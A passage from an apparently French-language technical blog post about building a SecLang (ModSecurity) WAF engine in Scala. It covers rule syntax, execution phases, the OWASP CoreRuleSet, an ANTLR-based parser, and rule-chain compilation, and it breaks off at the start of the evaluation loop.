&lt;p&gt;Voici à quoi ressemble une règle SecLang typique :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SecRule REQUEST_HEADERS:User-Agent &quot;@pm firefox chrome safari&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;id:1001,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    pass,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    msg:&apos;Browser detected&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    tag:&apos;browser-detection&apos;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Décortiquons-la :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SecRule&lt;/code&gt; : la directive qui définit une règle&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;REQUEST_HEADERS:User-Agent&lt;/code&gt; : la variable à inspecter (l’en-tête HTTP User-Agent)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;@pm firefox chrome safari&lt;/code&gt; : l’opérateur (&lt;code&gt;@pm&lt;/code&gt; = phrase match, vérifie si l’un des mots apparaît)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;id:1001&lt;/code&gt; : l’identifiant unique de la règle&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;phase:1&lt;/code&gt; : le moment de l’exécution (phase 1 = après réception des en-têtes)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pass&lt;/code&gt; : l’action à effectuer en cas de correspondance (poursuivre le traitement)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;t:none,t:lowercase&lt;/code&gt; : les transformations à appliquer avant la comparaison&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;msg:&apos;...&apos;&lt;/code&gt; : le message journalisé quand la règle correspond&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tag:&apos;...&apos;&lt;/code&gt; : un tag de catégorisation&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SecLang prend en charge cinq phases d’exécution :&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Nom&lt;/th&gt;
&lt;th&gt;Quand&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;En-têtes de requête&lt;/td&gt;
&lt;td&gt;Après réception des en-têtes de la requête&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Corps de requête&lt;/td&gt;
&lt;td&gt;Après réception du corps de la requête&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;En-têtes de réponse&lt;/td&gt;
&lt;td&gt;Après réception des en-têtes de la réponse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Corps de réponse&lt;/td&gt;
&lt;td&gt;Après réception du corps de la réponse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Journalisation&lt;/td&gt;
&lt;td&gt;Avant la journalisation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;owasp-coreruleset--le-standard-du-secteur&quot;&gt;OWASP CoreRuleSet : le standard du secteur&lt;/h3&gt;
&lt;p&gt;L’&lt;a href=&quot;https://coreruleset.org/&quot;&gt;OWASP CoreRuleSet (CRS)&lt;/a&gt; est un ensemble complet de règles SecLang qui protège contre les attaques web courantes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Injection SQL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Scripting (XSS)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Local File Inclusion (LFI)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exécution de code à distance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Violations de protocole&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Et des dizaines d’autres catégories&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le CRS a fait ses preuves sur le terrain, il est régulièrement mis à jour et il est utilisé par les grands CDN et éditeurs de WAF du monde entier. Toute implémentation sérieuse de SecLang doit être compatible avec le CRS.&lt;/p&gt;
&lt;p&gt;La version actuelle (CRS 4.x) contient plus de 600 règles, organisées en catégories comme :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-911-METHOD-ENFORCEMENT.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-913-SCANNER-DETECTION.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-920-PROTOCOL-ENFORCEMENT.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-930-APPLICATION-ATTACK-LFI.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-932-APPLICATION-ATTACK-RCE.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-933-APPLICATION-ATTACK-PHP.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-941-APPLICATION-ATTACK-XSS.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-942-APPLICATION-ATTACK-SQLI.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-949-BLOCKING-EVALUATION.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour résumer : ModSecurity est le moteur, SecLang est le langage, et le CRS est la base de connaissances.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;le-projet-de-noël-commence&quot;&gt;Le projet de Noël commence&lt;/h2&gt;
&lt;p&gt;C’était fin décembre, et je cherchais un projet perso amusant. Le problème du WAF me trottait dans la tête depuis des mois (peut-être des années), mais je m’étais toujours convaincu que c’était trop complexe. Rien que le parser SecLang ressemblait à une montagne. J’avais déjà essayé plusieurs approches avec les &lt;a href=&quot;https://github.com/scala/scala-parser-combinators&quot;&gt;scala parser combinators&lt;/a&gt;, &lt;a href=&quot;https://github.com/com-lihaoyi/fastparse&quot;&gt;fastparse&lt;/a&gt;, et même des expressions régulières, mais rien ne fonctionnait à 100 %.&lt;/p&gt;
&lt;p&gt;Puis je suis tombé sur &lt;a href=&quot;https://github.com/coreruleset/seclang_parser&quot;&gt;seclang_parser&lt;/a&gt; : une grammaire ANTLR pour SecLang, maintenue par l’équipe du CoreRuleSet. D’un coup, la montagne ressemblait plutôt à une colline.&lt;/p&gt;
&lt;p&gt;Voici l’architecture globale à laquelle j’ai abouti :&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 5499px) 5499px, 100vw&quot; width=&quot;5499&quot; height=&quot;1268&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_25QfMr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1KMlYQ.webp 640w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1Qr3PC.webp 750w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_K0KIo.webp 828w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Ztv4FK.webp 1080w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_2lMTfF.webp 1280w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1CeLyM.webp 1668w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Z1iKCgN.webp 2048w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Z2gO1V2.webp 2560w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_25QfMr.webp 5499w&quot;&gt;&lt;/p&gt;
&lt;p&gt;L’idée clé : la compilation a lieu une seule fois, l’évaluation a lieu à chaque requête. Passons en revue chaque composant.&lt;/p&gt;
&lt;h2 id=&quot;partie-1--le-parser&quot;&gt;Partie 1 : le parser&lt;/h2&gt;
&lt;h3 id=&quot;antlr-à-la-rescousse&quot;&gt;ANTLR à la rescousse&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.antlr.org/&quot;&gt;ANTLR&lt;/a&gt; (Another Tool for Language Recognition) est un générateur de parsers qui lit des fichiers de grammaire et produit des parsers dans différents langages cibles. À partir d’un fichier de grammaire &lt;code&gt;.g4&lt;/code&gt;, ANTLR génère un lexer, un parser et des classes visitor/listener.&lt;/p&gt;
&lt;p&gt;J’ai pris la grammaire de seclang_parser et généré le code Java :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;antlr4&lt;/span&gt;&lt;span&gt; -visitor&lt;/span&gt;&lt;span&gt; -package&lt;/span&gt;&lt;span&gt; com.cloud.apim.seclang.antlr&lt;/span&gt;&lt;span&gt; SecLangLexer.g4&lt;/span&gt;&lt;span&gt; SecLangParser.g4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cela m’a donné une base solide, mais ANTLR ne s’occupe que de la syntaxe : il me restait à construire l’AST (Abstract Syntax Tree, l’arbre syntaxique abstrait).&lt;/p&gt;
&lt;h3 id=&quot;construire-le-visitor-de-last&quot;&gt;Construire le visitor de l’AST&lt;/h3&gt;
&lt;p&gt;ANTLR utilise le pattern visitor. Vous étendez la classe générée &lt;code&gt;SecLangParserBaseVisitor&lt;/code&gt; et implémentez une méthode pour chaque règle de grammaire qui vous intéresse.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt; AstBuilderVisitor&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; SecLangParserBaseVisitor&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Any&lt;/span&gt;&lt;span&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; visitConfiguration&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ConfigurationContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Configuration&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; statements&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ctx.statement().asScala.flatMap { stmtCtx &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Option&lt;/span&gt;&lt;span&gt;(visitStmt(stmtCtx)).collect { &lt;/span&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; s&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Statement&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; s }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }.toList&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    Configuration&lt;/span&gt;&lt;span&gt;(statements)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; visitSecRule&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;SecRuleContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; SecRule&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; variables&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; visitVariables(ctx.variables())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; operator&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; visitOperator(ctx.operator())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; actions&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; Option&lt;/span&gt;&lt;span&gt;(ctx.actions()).map(visitActions)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    SecRule&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;, variables, operator, actions, ctx.getText)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // ... hundreds more visitor methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Le point d’entrée du parser est simple :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;object&lt;/span&gt;&lt;span&gt; AntlrParser&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  def&lt;/span&gt;&lt;span&gt; parse&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; lexer&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; SecLangLexer&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;CharStreams&lt;/span&gt;&lt;span&gt;.fromString(input))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; tokens&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; CommonTokenStream&lt;/span&gt;&lt;span&gt;(lexer)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; parser&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; SecLangParser&lt;/span&gt;&lt;span&gt;(tokens)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; errorListener&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; CollectingErrorListener&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parser.removeErrorListeners()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parser.addErrorListener(errorListener)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; tree&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; parser.configuration()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (errorListener.hasErrors) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Left&lt;/span&gt;&lt;span&gt;(errorListener.getErrors.mkString(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    } &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      val&lt;/span&gt;&lt;span&gt; visitor&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; AstBuilderVisitor&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Right&lt;/span&gt;&lt;span&gt;(visitor.visitConfiguration(tree))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C’était la base. Avec l’aide de mon ami Claude, j’ai pu écrire toutes les méthodes du visitor et gérer les bizarreries de la syntaxe SecLang. Le visitor du parser fait à lui seul environ 400 lignes de Scala (adossées à 11 000 lignes de Java générées par ANTLR).&lt;/p&gt;
&lt;h2 id=&quot;partie-2--le-compilateur&quot;&gt;Partie 2 : le compilateur&lt;/h2&gt;
&lt;p&gt;Une fois l’AST en main, il fallait le transformer en quelque chose d’exécutable. Avec le temps, il est devenu évident qu’un moteur SecLang tient moins du filtrage de requêtes que de l’interprétation d’un langage de programmation dédié à la sécurité, sous de fortes contraintes de performances. Le rôle du compilateur est de :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Résoudre les chaînes de règles&lt;/strong&gt; : SecLang permet de chaîner des règles avec l’action &lt;code&gt;chain&lt;/code&gt; ; si la première règle correspond, on vérifie la deuxième, et ainsi de suite.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Organiser par phase&lt;/strong&gt; : regrouper les règles par phase d’exécution pour un traitement efficace.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gérer les suppressions de règles&lt;/strong&gt; : traiter &lt;code&gt;SecRuleRemoveById&lt;/code&gt;, &lt;code&gt;SecRuleRemoveByTag&lt;/code&gt;, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Indexer les marqueurs&lt;/strong&gt; : pour les actions &lt;code&gt;skipAfter&lt;/code&gt;, précalculer la position des marqueurs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Précompiler les regex&lt;/strong&gt; : compiler les expressions régulières une seule fois, et non à chaque évaluation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Voici une vue simplifiée de la logique de résolution des chaînes :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; compileChains&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;SecRule&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  var&lt;/span&gt;&lt;span&gt; chains&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ListBuffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;]()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; current&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ListBuffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;SecRule&lt;/span&gt;&lt;span&gt;]()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  for&lt;/span&gt;&lt;span&gt; (rule &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; rules) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    current &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;rule.isChain) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      // Chain complete, emit it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      chains &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; RuleChain&lt;/span&gt;&lt;span&gt;(current.toList)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      current.clear()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  chains.toList&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Le compilateur produit un &lt;code&gt;CompiledProgram&lt;/code&gt; :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; class&lt;/span&gt;&lt;span&gt; CompiledProgram&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  chains&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;]],   &lt;/span&gt;&lt;span&gt;// phase -&gt; chains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  markers&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;],           &lt;/span&gt;&lt;span&gt;// marker name -&gt; index&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;EngineMode&lt;/span&gt;&lt;span&gt;                     // On, Off, or DetectionOnly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;partie-3--le-moteur-dexécution&quot;&gt;Partie 3 : le moteur d’exécution&lt;/h2&gt;
&lt;p&gt;C’est ici que se fait le vrai travail. Le moteur évalue un &lt;code&gt;CompiledProgram&lt;/code&gt; sur un &lt;code&gt;RequestContext&lt;/code&gt; et renvoie une disposition (continuer ou bloquer).&lt;/p&gt;
&lt;h3 id=&quot;la-boucle-principale&quot;&gt;La boucle principale&lt;/h3&gt;
&lt;p&gt;Voici une vue simplifiée de la logique de la boucle principale :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; evaluate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestContext&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;phases&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; EngineResult&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
